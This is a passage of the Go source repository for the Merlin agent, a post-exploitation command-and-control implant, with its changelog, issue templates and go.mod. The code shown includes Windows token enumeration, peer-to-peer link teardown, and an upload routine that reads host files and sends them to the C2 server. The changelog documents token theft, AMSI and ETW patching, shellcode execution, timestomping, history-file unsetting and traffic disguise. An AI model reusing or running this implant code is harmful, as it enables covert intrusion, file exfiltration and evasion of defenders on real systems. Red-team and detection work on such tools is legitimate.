results.Stdout += fmt.Sprintf(",Integrity Level: %s", pLevel)
// Thread
var tThread windows.Token
// Lost the fight against the Go runtime managing threads, so I can't depend on this thread having the token
if tokens.Token != 0 {
tThread = tokens.Token
} else {
tThread = windows.GetCurrentThreadEffectiveToken()
//tThread = windows.GetCurrentThreadToken()
}
// Get Thread Token TOKEN_STATISTICS structure
statThread, err := tokens.GetTokenStats(tThread)
if err != nil {
results.Stderr = err.Error()
return
}
// Get Thread Username
userThread, err := tokens.GetTokenUsername(tThread)
if err != nil {
results.Stderr = err.Error()
return
}
results.Stdout += fmt.Sprintf("\nThread (%s) Token:\n", tokens.TokenTypeToString(statThread.TokenType))
results.Stdout += fmt.Sprintf("\tUser: %s", userThread)
results.Stdout += fmt.Sprintf(",Token ID: 0x%X", statThread.TokenId.LowPart)
results.Stdout += fmt.Sprintf(",Logon ID: 0x%X", statThread.AuthenticationId.LowPart)
results.Stdout += fmt.Sprintf(",Privilege Count: %d", statThread.PrivilegeCount)
results.Stdout += fmt.Sprintf(",Group Count: %d", statThread.GroupCount)
results.Stdout += fmt.Sprintf(",Type: %s", tokens.TokenTypeToString(statThread.TokenType))
results.Stdout += fmt.Sprintf(",Impersonation Level: %s", tokens.ImpersonationToString(statThread.ImpersonationLevel))
// Process Token Integrity Level
tLevel, err := tokens.GetTokenIntegrityLevel(tThread)
if err == nil {
results.Stdout += fmt.Sprintf(",Integrity Level: %s", tLevel)
}
return
}
================================================
FILE: commands/unlink.go
================================================
package commands
import (
// Standard
"encoding/base64"
"fmt"
"time"
// 3rd Party
"github.com/google/uuid"
// Merlin
"github.com/Ne0nd0g/merlin-message"
"github.com/Ne0nd0g/merlin-message/jobs"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
)
// Unlink terminates a peer-to-peer Agent connection
func Unlink(cmd jobs.Command) (results jobs.Results) {
cli.Message(cli.DEBUG, fmt.Sprintf("commands/unlink.Unlink(): entering into function with %+v", cmd))
if len(cmd.Args) < 1 {
return jobs.Results{Stderr: fmt.Sprintf("expected 1 arguments with the link command, received %d: %+v", len(cmd.Args), cmd.Args)}
}
// Convert Agent ID to UUID
agentID, err := uuid.Parse(cmd.Args[0])
if err != nil {
results.Stderr = fmt.Sprintf("commands/unlink.Unlink(): there was an error converting Agent ID %s to a valid UUID: %s", cmd.Args[0], err)
return
}
link, err := peerToPeerService.GetLink(agentID)
if err != nil {
results.Stderr = fmt.Sprintf("commands/unlink.Unlink(): there was an error getting the link for %s: %s", cmd.Args[0], err)
return
}
// If there is a second argument, it contains a final message to send to the child agent before unlinking
if len(cmd.Args) > 1 {
delegate := messages.Delegate{
Agent: agentID,
}
// Base64 decode the message
delegate.Payload, err = base64.StdEncoding.DecodeString(cmd.Args[1])
if err != nil {
results.Stderr = fmt.Sprintf("commands/unlink.Unlink(): there was an error base64 decoding the embedded messagek, (%d) bytes, for %s: %s", len(cmd.Args[1]), agentID, err)
return
}
// Send the message to the child agent
cli.Message(cli.NOTE, fmt.Sprintf("Sending final message to child agent %s before removing peer-to-peer link at %s", agentID, time.Now().UTC().Format(time.RFC3339)))
peerToPeerService.Handle([]messages.Delegate{delegate})
}
// Remove the link
err = peerToPeerService.Remove(agentID)
if err != nil {
results.Stderr += fmt.Sprintf("commands/unlink.Unlink(): there was an error removing the link for %s: %s", agentID, err)
} else {
results.Stdout = fmt.Sprintf("Successfully unlinked from %s Agent %s and closed the network connection", link.String(), agentID)
}
cli.Message(cli.DEBUG, fmt.Sprintf("commands/unlink.Unlink(): leaving the function with %+v", results))
return
}
================================================
FILE: commands/upload.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// Standard
// #nosec G505 -- Random number does not impact security
"crypto/sha1"
"encoding/base64"
"fmt"
"io"
"os"
// Merlin Main
"github.com/Ne0nd0g/merlin-message/jobs"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
)
// Upload receives a job from the server to upload a file from the host to the Merlin server
func Upload(transfer jobs.FileTransfer) (ft jobs.FileTransfer, err error) {
cli.Message(cli.DEBUG, "Entering into commands.Upload() function")
// Agent will be uploading a file to the server
cli.Message(cli.NOTE, "FileTransfer type: Upload")
// Setup OS environment, if any
err = Setup()
if err != nil {
return jobs.FileTransfer{}, err
}
defer func() {
err2 := TearDown()
if err2 != nil {
if err != nil {
err = fmt.Errorf("there were multiple errors. 1. %s 2. %s", err, err2)
} else {
err = err2
}
}
}()
fileData, fileDataErr := os.ReadFile(transfer.FileLocation)
if fileDataErr != nil {
cli.Message(cli.WARN, fmt.Sprintf("There was an error reading %s", transfer.FileLocation))
cli.Message(cli.WARN, fileDataErr.Error())
return jobs.FileTransfer{}, fmt.Errorf("there was an error reading %s:\r\n%s", transfer.FileLocation, fileDataErr.Error())
}
fileHash := sha1.New() // #nosec G401 // Use SHA1 because it is what many Blue Team tools use
_, errW := io.WriteString(fileHash, string(fileData))
if errW != nil {
cli.Message(cli.WARN, fmt.Sprintf("There was an error generating the SHA1 file hash e:\r\n%s", errW.Error()))
}
cli.Message(cli.NOTE, fmt.Sprintf("Uploading file %s of size %d bytes and a SHA1 hash of %x to the server",
transfer.FileLocation,
len(fileData),
fileHash.Sum(nil)))
ft = jobs.FileTransfer{
FileLocation: transfer.FileLocation,
FileBlob: base64.StdEncoding.EncodeToString(fileData),
IsDownload: true,
}
return ft, nil
}
================================================
FILE: commands/uptime.go
================================================
//go:build !windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// Merlin
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-message/jobs"
)
// Uptime retrieves the system's uptime
// Windows only
func Uptime() jobs.Results {
cli.Message(cli.DEBUG, "entering Uptime()")
return jobs.Results{
Stderr: "the Uptime command is not supported by this agent type",
}
}
================================================
FILE: commands/uptime_windows.go
================================================
//go:build windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// Standard
"fmt"
"time"
// Sub Repositories
"golang.org/x/sys/windows"
// Merlin
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-message/jobs"
)
// Uptime uses the Windows API to get the host's uptime
func Uptime() jobs.Results {
cli.Message(cli.DEBUG, fmt.Sprintf("entering Uptime()"))
var results jobs.Results
kernel32 := windows.NewLazySystemDLL("kernel32")
GetTicketCount64 := kernel32.NewProc("GetTickCount64")
r1, _, err := GetTicketCount64.Call(0, 0, 0, 0)
if err.Error() != "The operation completed successfully." {
results.Stderr = fmt.Sprintf("\nA call to kernel32.GetTickCount64 in the uptime command returned an error:\n%s", err)
} else {
results.Stdout = fmt.Sprintf("\nSystem uptime: %s\n", (time.Duration(r1) * time.Millisecond))
}
return results
}
================================================
FILE: core/core.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package core contains pieces of information or functions needed across the entire application
package core
import (
// Standard
"math/rand"
"sync"
"time"
)
// Global Variables
// Verbose indicates if the agent should write messages to STDOUT
var Verbose = false
// Debug is used to troubleshoot problems and results in very detailed information being displayed on STDOUT
var Debug = false
// Version is the Merlin Agent's version number
var Version = "2.4.3"
// Build is the build number of the Merlin Agent program set at compile time
var Build = "nonRelease"
// Mutex is used to ensure exclusive access to STDOUT & STDERR
var Mutex = &sync.Mutex{}
var src = rand.NewSource(time.Now().UnixNano())
// Constants
const (
letterIdxBits = 6 // 6 bits to represent a letter index
letterIdxMask = 1<= 0; {
if remain == 0 {
cache, remain = src.Int63(), letterIdxMax
}
if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
b[i] = letterBytes[idx]
i--
}
cache >>= letterIdxBits
remain--
}
return string(b)
}
================================================
FILE: docs/CHANGELOG.MD
================================================
# Changelog
All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/)
and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html).
## 2.4.3 - 2025-04-16
### Changed
- Upgraded the minimum version of go to v1.23
- Upgraded the following libraries
- golang.org/x/crypto v0.28.0 => v0.37.0
- golang.org/x/net v0.30.0 => v0.39.0
- golang.org/x/sync v0.8.0 => v0.13.0
- golang.org/x/sys v0.26.0 => v0.32.0
- golang.org/x/text v0.19.0 => v0.24.0
- github.com/go-jose/go-jose/v3 v3.0.3 => v3.0.4
- github.com/quic-go/quic-go v0.47.0 => v0.50.1
## 2.4.2 - 2024-10-14
### Fixed
- Fixed [Issue 43](https://github.com/Ne0nd0g/merlin-agent/issues/43) - Added `fmt` import to FreeBSD shell
### Changed
- Check if Mythic client configuration contained a PSK for the Mythic `http` C2 profile
- Upgraded the following libraries:
- golang.org/x/crypto v0.22.0 => v0.28.0
- golang.org/x/net v0.24.0 => v0.30.0
- golang.org/x/sys v0.19.0 => v0.26.0
- golang.org/x/text v0.14.0 => v0.19.0
- github.com/fatih/color v1.16.0 => v1.17.0
- github.com/quic-go/quic-go v0.42.0 => v0.47.0
- github.com/refraction-networking/utls v1.6.4 => v1.6.7
## 2.4.1 - 2024-04-23
### Changed
- Upgraded golang.org/x/crypto v0.21.0 => v0.22.0
- Upgraded golang.org/x/sys v0.18.0 => v0.19.0
- Upgraded golang.org/x/mod v0.16.0 => v0.17.0
- Upgraded golang.org/x/tools v0.19.0 => v0.20.0
- Upgraded golang.org/x/exp v0.0.0-20240318143956-a85f2c67cd81 => v0.0.0-20240416160154-fe59bbe5cc7f
- Upgraded github.com/google/pprof v0.0.0-20240320155624-b11c3daa6f07 => v0.0.0-20240422182052-72c8669ad3e7
- Upgraded github.com/onsi/ginkgo/v2 v2.17.0 => v2.17.1
- Upgraded github.com/klauspost/compress v1.17.7 => v1.17.8
- Upgraded github.com/refraction-networking/utls v1.6.3 => v1.6.4
- GoVulnCheck to use the latest version of Go
### Security
- [GO-2024-2687](https://pkg.go.dev/vuln/GO-2024-2687) - Upgraded `golang.org/x/net` to v0.24.0 to address CVE-2024-2687
## 2.4.0 - 2024-03-23
### Added
- Mythic client handles multiple HTTP headers with the Mythic `http` C2 Profile
- Automatic Windows HTTP proxy authentication through the `winhttp` API
- Added the `-http-client` command line argument and `HTTPCLIENT` Makefile variable to specify which HTTP client to use
- Use `go` for the default Go HTTP client
- Use `winhttp` API for HTTP C2
- Use `go build` tags to control which C2 clients are compiled into the agent. [Build Tags](https://merlin-c2.readthedocs.io/en/latest/agent/custom.html#build-tags)
- When ANY build tag is included, the agent will ONLY include that feature and nothing else. For example, if ONLY the http tag is provided, the SMB, TCP, and UDP clients will not be included.
- If one of the following build tags is used, then only the C2 profiles provided will be compiled in
- `http` - Include all HTTP clients (including HTTP/1.1, HTTP/2, and HTTP/3)
- `http1` - Include HTTP/1.1 client
- `http2` - Include HTTP/2 client
- `http3` - Include HTTP/3 client
- `winhttp` - Include Windows `winhttp` API client
- `mythic` - Include the Mythic client for the Mythic `http` C2 profile
- `smb` - Include SMB client
- `tcp` - Include TCP client
- `udp` - Include UDP client
### Fixed
- Resolved several SOCKS5 issues
- Updated Mythic client to handle `post_response` actions with `ServerPostResponse` structure to include SOCKS information
- Created a go routine and a channel just for sending SOCKS data in place of using the Jobs channel
- [Issue 38](https://github.com/Ne0nd0g/merlin-agent/issues/38) - Added `evasion_386.go` to facilitate x86 Windows builds
### Changed
- Upgraded the following libraries to their latest version
- upgraded golang.org/x/net v0.21.0 => v0.22.0
- upgraded github.com/google/uuid v1.5.0 => v1.6.0
- upgraded github.com/quic-go/quic-go v0.40.1 => v0.42.0
- upgraded github.com/refraction-networking/utls v1.6.0 => v1.6.3
### Security
- Upgraded go-jose/v3 to v3.0.3 to address CVE-2024-28180
## 2.3.0 - 2023-12-26
### Added
- Support to decode Simplified Chinese (Code Page 936) encoding to UTF-8
- Support to decode Traditional Chinese (Code Page 950) encoding to UTF-8
- Support to decode Korean (Code Page 949) encoding to UTF-8
- Added 'RSA' as a valid authentication method for Mythic EKE
- Added 'mythic' encoder to transform messages in the format Mythic expects them in
### Changed
- Refactored clients/mythic to correctly implement the Client interface from merlin-agent/v2 package
- Moved encryption out of the client and into the transforms
- Accepts authenticator, transforms, and secure TLS configuration items
- Upgraded:
- `github.com/Ne0nd0g/merlin-message` to v1.3.0
- `golang.org/x/net` to v0.19.0
- `github.com/quic-go/quic-go` to v0.40.1
- `github.com/refraction-networking/utls` to v1.6.0
- Removed `GOGARBLE` environment variable from Makefile
## 2.2.0 - 2023-12-14
### Added
- New `os/windows/pkg/text` package to detect and handle non UTF-8 encoding
- Only handles ShiftJIS at this moment
- Will replace non UTF-8 characters with a � character
### Fixed
- [Issue 33](https://github.com/Ne0nd0g/merlin-agent/issues/33) - Added handling for ShiftJIS encoding
## 2.1.0 - 2023-11-27
### Changed
- Allow the TLS X509 certificate validation setting to be passed through to JA3 and Parrot clients
- JA3 & Parrot HTTP transports use agent's `-secure` command line argument to determine if TLS X.509 certificate validation should be performed
- Upgraded the following modules
- `golang.org/x/sys v0.13.0 => v0.14.0`
- `golang.org/x/net v0.17.0 => v0.18.0`
- `github.com/go-jose/go-jose/v3 v3.0.0 => v3.0.1`
- `github.com/fatih/color v1.15.0 => v1.16.0`
### Fixed
- [Issue 26](https://github.com/Ne0nd0g/merlin-agent/issues/26) - uTLS package uses HTTP proxy if provided or from environment variables
- Implemented a custom dialer to connect to the proxy first and then the destination
- uTLS package for correctly set the TLS version from the provided JA3 string
## 2.0.0 - 2023-11-03
### Added
- Peer-to-Peer Agent communication methods: smb-bind, smb-reverse, tcp-bind, tcp-reverse, udp-bind, udp-reverse
- An associated Listener UUID must be provided with `-listener` command line argument or `LISTENER` Make file variable
- An associated network interface and port must be provided with the `-addr` command line argument or `ADDR` Make file variable
- `Delegate` message type and associated handling
- Configurable Agent authentication methods: OPAQUE & none
- Added `auth` variable to main.go
- Added `AUTH` variable to Make file (e.g., `make windows AUTH=OPAQUE`)
- Added `-auth` command line argument
- Configurable Agent transforms: gob-base, gob-string, base64-byte, base64-string, hex,-byte, hex-string, aes, jwe, rc4, and xor
- Added `transforms` variable to main.go
- Added `TRANSFORMS` variable to Make file (e.g., `make windows TRANSFORMS=aes,gob-base)
- Added `-transforms` command line argument
- `link` command for the Agent to initiate a peer-to-peer connection with a listening bind agent
- Example: `link tcp 192.168.1.72:4444`
- `listener` command for the Agent to start a listener to receive a connection from a reverse peer-to-peer connection
- `list` to return a list of instantiated on the Agent (e.g., `listener list`)
- `start` to start a listener based on the passed in type and interface
- Example: `listener start tcp 0.0.0.0:4444`
- `stop` to stop an already created listener
- Example: `listener stop tcp [::]:4444`
- `unlink` command to disconnect a chile peer-to-peer agent from its parent
- Example: `unlink childAgentID`
- GitHub Actions for building and testing the Merlin Agent
- Implemented "services" and "repositories"
- Services are: agent, client, job, message, and p2p
- Configurable TLS x.509 certificate validation
- Default is `false`, TLS certificates are not validated
- Added `-secure` command line argument to require TLS X.509 certificate validation
- Added `SECURE` variable to Make file (e.g., `make windows SECURE=true`)
### Changed
- Moved from `Initial` to `Authenticated` for Agent struct
- Removed tests
- Upgraded [quic-go](https://github.com/quic-go/quic-go) to v0.40.0
- The Minimum supported Go version is now 1.20
- HTTP URL rotation strategy is now random instead of round-robin
- Replaced `github.com/satori/go.uuid` with `github.com/google/uuid`
- Replaced `github.com/square/go-jose` with `github.com/go-jose/go-jose`
- Replaced `github.com/Ne0nd0g/merlin/pkg/messages` with `github.com/Ne0nd0g/merlin-message`
- Removes the need to depend on or import the Merlin Server package
## 1.6.5 - 2023-06-10
### Changed
- Replaced manual Windows DLL and procedure loads for Golang's Windows package and moved remaining to `os/windows/api` directory
- Replaced `PAGE_EXECUTE_READWRITE` with `PAGE_READWRITE` for shellcode memory allocation
- Replaced `PAGE_EXECUTE` with `PAGE_EXECUTE_READ` after shellcode memory allocation
### Fixed
- [Issue 28](https://github.com/Ne0nd0g/merlin-agent/issues/28) - Use Golang's Windows package for API calls where possible
## 1.6.4 - 2023-06-08
### Changed
- Updated the Mythic client to handle the new "download" workflow for Mythic v3.0.0
## 1.6.3 - 2023-03-15
### Fixed
- [Issue 25](https://github.com/Ne0nd0g/merlin-agent/issues/25) - Updated Mythic CheckIn structure's PID to integer
## 1.6.2 - 2023-03-08
### Fixed
- [Issue 22](https://github.com/Ne0nd0g/merlin-agent/issues/22) - Upgraded https://github.com/Ne0nd0g/merlin from v1.5.0 to v1.5.1
### Security
- [PR 23](https://github.com/Ne0nd0g/merlin-agent/pull/23) - Bump golang.org/x/net from 0.1.0 to 0.7.0 by dependabot
## 1.6.1 - 2023-03-01
### Fixed
- [Issue 24](https://github.com/Ne0nd0g/merlin-agent/issues/24) - Adjusted the `shell` function call
## 1.6.0 - 2022-11-11
### Added
- Parrot specific web browsers through [utls](https://github.com/refraction-networking/utls#parroting) library
- Use the agent's `-parrot` command line argument
- Use the Makefile's `PARROT=` command line argument
- Can be changed while the agent is already running
- Examples include `HelloChrome_102` or `HelloRandomized`
- [List of available strings](https://github.com/refraction-networking/utls/blob/8e1e65eb22d21c635523a31ec2bcb8730991aaad/u_common.go#L150)
- If a JA3 string is provided, the parrot string will be ignored
### Changed
- Require Go v1.19
- The agent package `New()` function will only print errors to STDOUT instead of returning an error to ensure execution
- JA3 transports are now generated from clients/utls
- Upgraded go-clr to v1.0.3
- Upgraded quic-go to v0.30.0
### Fixed
- [Issue 20](https://github.com/Ne0nd0g/merlin-agent/issues/20) - Manually get username & group for Windows
- [Issue 21](https://github.com/Ne0nd0g/merlin-agent/issues/21) - Resolved file download re-write error
### Removed
- Removed [ja3transport](https://github.com/Ne0nd0g/ja3transport) module and moved code into clients/utls
## 1.5.0 - 2022-07-22
### Added
- Added new SOCKS5 functionality
### Changed
- Go v1.18 is now the minimum supported version
- Upgraded [quic-go](https://github.com/lucas-clemente/quic-go/) to v0.28.0
- Upgraded [Go JOSE](https://github.com/square/go-jose) to v2.6.0
- The `Send()` of the `ClientInterface` interface returns a list of messages.Base instead of a single message
- Initial checkin immediately responds to first AgentInfo request after authenticating instead of after sleep time
### Fixed
- [Issue 17](https://github.com/Ne0nd0g/merlin-agent/issues/17) - Ensure process structure pointer is not nil
## 1.4.2 - 2022-05-03
### Fixed
- [Issue 9](https://github.com/Ne0nd0g/merlin-agent/issues/9) - Replaced `TokenGroup` with `TokenUser`
- [Issue 14](https://github.com/Ne0nd0g/merlin-agent/issues/14) - Let writer close channel and don't try to close STDIN
- [Issue 16](https://github.com/Ne0nd0g/merlin-agent/issues/16) - Handle `jobs.Results` & `jobs.AgentInfo` in `jobsHandler()`
## 1.4.1 - 2022-04-12
### Added
- Go build tags to separate out Mythic client from standalone HTTP1/2/3 client
- Added `SLEEP` to Make file (e.g., `make windows SLEEP=2m`)
### Fixed
- [Issue 13](https://github.com/Ne0nd0g/merlin-agent/issues/13) - Added byte slice variable as a workaround
### Changed
- Upgraded [quic-go](https://github.com/lucas-clemente/quic-go/) to v0.27.0 for Go 1.18 support
## 1.4.0 - 2022-04-02
### Added
- Added a new `memory` command for Windows agents to read/write memory
- Uses direct syscalls for `NtReadVirtualMemory`, `NtProtectVirtualMemory`, & `ZwWriteVirtualMemory` implemented using [BananaPhone](https://github.com/C-Sto/BananaPhone)
- The commands take module name (e.g., `ntdll.dll`) and a procedure name (e.g., `EtwEventWrite`) to target read/write operations
- The `read` command will just read the specified number of bytes and return the results
- The `write` command will just write the specified bytes without reading them first
- The `patch` command will find a specified function, read the existing bytes, and then overwrite it with the provided bytes
- Added `AmsiScanBuffer` patch when loading assemblies into the agent process through the `load-assembly` command
### Changed
- Upgraded go-clr package to tagged version 1.0.2
## 1.3.1 - 2022-03-22
### Added
- Added [Garble](https://github.com/burrowers/garble) builds to the Make file
- `windows-garble`, `linux-garble`, & `darwin-garble`
- **THE SERVER MUST BE GARBLED WITH THE EXACT SAME SEED**
- Specify the seed at build with `make windows-debug SEED=`
- Added `GetProcessWindowStation` and `GetThreadDesktop` functions in the `user32` package
### Changed
- Renamed the `SendMerlinMessage` function of the `ClientInterface` to just `Send()`
- Modified `CreateProcessWithToken` function in the `windows/os/pkg/tokens` package to adjust the caller's station and
desktop DACLs if the token user belongs to a different session
### Fixed
- [Issue 10](https://github.com/Ne0nd0g/merlin-agent/issues/10) - The `shell` command now uses associated impersonation token
- [Issue 11](https://github.com/Ne0nd0g/merlin-agent/issues/11) - The token is now passed along with execution
- [Issue 12](https://github.com/Ne0nd0g/merlin-agent/issues/12) - If running as `NT AUTHORITY\SYSTEM` with an
impersonation token, Call [LogonUserW](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonuserw)
and then [CreateProcessWithTokenW](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw)
instead of [CreateProcessWithLogon](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithlogonw)
with Merlin's `runas` command
## 1.3 - 2022-02-17
### Changed
- Added the `Integrity` field to the Agent structure
- Added message padding to the following Mythic messages types for the Mythic client:
- CheckIn
- Tasking
- PostResponse
- RSARequest
- PostResponseFile
- PostResponseDownload
### Added
- Added `os.GetIntegrityLevel()` to enumerate the agent's integrity level or elevated status
- Windows: `2`-Medium, `3`-High, `4`-System
- All other OS: `3` - member of sudo group, `4` - running as root
- Added a random amount of message padding, up to the padding max value, to HTTP post requests for the Mythic client
## 1.2.1 - 2022-01-10
### Fixed
- [Issue 6](https://github.com/Ne0nd0g/merlin-agent/issues/6) - Message padding is now a random length instead of a fixed length
- [Issue 7](https://github.com/Ne0nd0g/merlin-agent/issues/6) - Windows Access Token now persists between commands
## 1.2.0 - 2021-12-12
### Added
- `rm` command to remove, or delete, files using native Go functions
- `runas` Windows command to create a process as another user with their password
- `ssh` Connect to a remote host over SSH and execute a command (non-interactive)
- `token` Windows command to interact with Windows Access Tokens
- `make` Create a new token with a username and password; Unlisted `make_token` alias
- `privs` List the current or remote process token privileges
- `rev2self` Drop any created or stolen access token and revert to original configuration; Unlisted `rev2self` alias
- `steal` Steal a token from another process; Unlisted `steal_token` alias
- `whoami` Enumerate process and thread token username, logon ID, privilege count, token type, impersonation level, and integrity level
- New `os/windows/api` directory for operating system specific API and system calls
- New `os/windows/pkg` directory for functions that wrap operating system specific calls
- Added `commands/os` with `Setup()` and `TearDown()` functions to prep and release process space before executing any commands
- Due to how the Go runtime works, stolen/created Windows access token must be applied/released for each run of a command
- Add both a `-headers` command line argument and `HEADERS=` Make parameter to add arbitrary HTTP headers
- The flag takes in a new-line seperated (e.g., `\n`) list of headers
- FreeBSD Makefile build support from [paullj1](https://github.com/paullj1) in [Pull 3](https://github.com/Ne0nd0g/merlin-agent/pull/3)
- Read STDIN for 500 milliseconds for agent argument from [paullj1](https://github.com/paullj1) in [Pull 3](https://github.com/Ne0nd0g/merlin-agent/pull/3)
### Changed
- Broke the `commands/transfer.go` file into `commands/download.go` and `commands/upload.go`
- The `ls` command can now handle Windows UNC paths
- The `run`, `shell`, `execute-assembly`, `execute-pe`, & `execute-shellcode` commands will use the Windows CreateProcessWithTokenW function call if a token was stolen/created
- Updated [go-quic](https://github.com/lucas-clemente/quic-go/) library to v0.24.0
### Fixed
- [Issue 117](https://github.com/Ne0nd0g/merlin/issues/117) - Added random padding to OPAQUE messages
## 1.1.0 - August 4, 2021
### Added
- Incorporated a lot of changes by [r00t0v3rr1d3](https://github.com/r00t0v3rr1d3) & [deviousbanana](https://github.com/deviousbanana) from their [fork](https://github.com/r00t0v3rr1d3/merlin/tree/dev)
- `ifconfig`/`ipconfig`: Prints host network adapter information. Windows hosts use API calls to get extra info (e.g., DHCP) from https://github.com/r00t0v3rr1d3/merlin/commit/42a12af99610e439721cbd095a2d55523e7cbc94
- Agent and AgentInfo structs contain `Process` name from https://github.com/r00t0v3rr1d3/merlin/commit/cbf875427123e6a58a528d0e38a692c2308f09c9
- Added the `kill` command to kill a running process by its process ID (PID)
- Provide a comma seperated list of URLs that Merlin will rotate through for each POST request
- Example `-url https://127.0.0.1/news.php,https://127.0.0.1/admin/get.php`
- When using http or https protocol, the connection only appears in netstat for one second or less
- Added `sdelete` command to securely delete a file
- Added `touch`, alias is `timestomp`, command that matches the destination file's timestamps with source file
- Added `ps` command that returns a process listing for Windows agents
- Added `netstat` that displays network connection for Windows agents (tcp, tcp6, udp, udp6)
- Added Windows only `pipes` command to list named pipes
- Added Windows only `uptime` command to print the target system's uptime
- Added `env` command: View and modify environment variables. "set" will create a new variable if it didn't exist
* Usage: `env showall`
* Usage: `env get PATH`
* Usage: `env set CUSTOM "my desired value"`
* Usage: `env unset HISTFILE`
### Changed
- The command used to instruct the agent to quit running is now `exit`
- The Merlin agent Client structure, URL structure, now takes a slice of URLs as a string as opposed to just 1 string
## 1.0.2 - June 25, 2021
### Added
- Use HTTP_PROXY, HTTPS_PROXY & NO_PROXY environment variables if a proxy was not explicitly provided
### Fixed
- Incorrectly used `https` for [TLS ALPN Protocol ID](https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#alpn-protocol-ids)
## 1.0.1 - May 29, 2021
### Fixed
- [Issue 1](https://github.com/Ne0nd0g/merlin-agent/issues/1) - Added `job.Token` for Minidump command response message
### Added
- `windows-debug` build to Make file; Removes hidden window attribute to view STDOUT/STDERR when troubleshooting
## 1.0.0 - April 17, 2021
- Initial commit
- Moved agent code from github.com/Ne0nd0g/merlin/pkg/agent
================================================
FILE: docs/ISSUE_TEMPLATE.md
================================================
### Prerequisite
* [ ] I have searched the opened & _closed_ [issues](https://github.com/Ne0nd0g/merlin-agent/issues)
* [ ] I have searched the [WIKI](https://merlin-c2.readthedocs.io/en/latest/index.html) and its [FAQ](https://merlin-c2.readthedocs.io/en/latest/quickStart/faq.html) page
### Environment Data
* Merlin Agent Version:
* Merlin Agent Build:
* Operating System:
If you're building from source, please provide the following information:
* Go Version:
* GOPATH Environment Variable:
* GOROOT Environment Variable:
### Actual Behavior
### Expected Behavior
### Steps to Reproduce Behavior
### Misc Information
================================================
FILE: docs/PULL_REQUEST_TEMPLATE.md
================================================
### Pull Request (PR) Checklist
- [ ] PR is from **a topic/feature/bugfix branch** off the **dev branch** (right side)
- [ ] PR is against the **dev branch** (left side)
- [ ] Code compiles without errors
- [ ] Passes linting checks and unit tests
- [ ] Updated [CHANGELOG](./CHANGELOG.MD)
- [ ] Updated README documentation (if applicable)
### Change Type
- [ ] Addition
- [ ] Bugfix
- [ ] Modification
- [ ] Removal
- [ ] Security
### Description
================================================
FILE: go.mod
================================================
module github.com/Ne0nd0g/merlin-agent/v2
go 1.23.0
toolchain go1.24.2
require (
github.com/C-Sto/BananaPhone v0.0.0-20220220002628-6585e5913761
github.com/Ne0nd0g/go-clr v1.0.3
github.com/Ne0nd0g/merlin-message v1.3.0
github.com/Ne0nd0g/npipe v1.1.0
github.com/Ne0nd0g/winhttp v1.0.0
github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5
github.com/cretz/gopaque v0.1.0
github.com/fatih/color v1.17.0
github.com/go-jose/go-jose/v3 v3.0.4
github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510
github.com/google/uuid v1.6.0
github.com/quic-go/quic-go v0.50.1
github.com/refraction-networking/utls v1.6.7
golang.org/x/crypto v0.37.0
golang.org/x/net v0.39.0
golang.org/x/sys v0.32.0
golang.org/x/text v0.24.0
)
require (
github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee // indirect
github.com/andybalholm/brotli v1.1.1 // indirect
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
github.com/cloudflare/circl v1.4.0 // indirect
github.com/go-task/slim-sprig/v3 v3.0.0 // indirect
github.com/google/pprof v0.0.0-20250403155104-27863c87afa6 // indirect
github.com/klauspost/compress v1.17.10 // indirect
github.com/mattn/go-colorable v0.1.13 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/onsi/ginkgo/v2 v2.23.4 // indirect
github.com/quic-go/qpack v0.5.1 // indirect
go.dedis.ch/fixbuf v1.0.3 // indirect
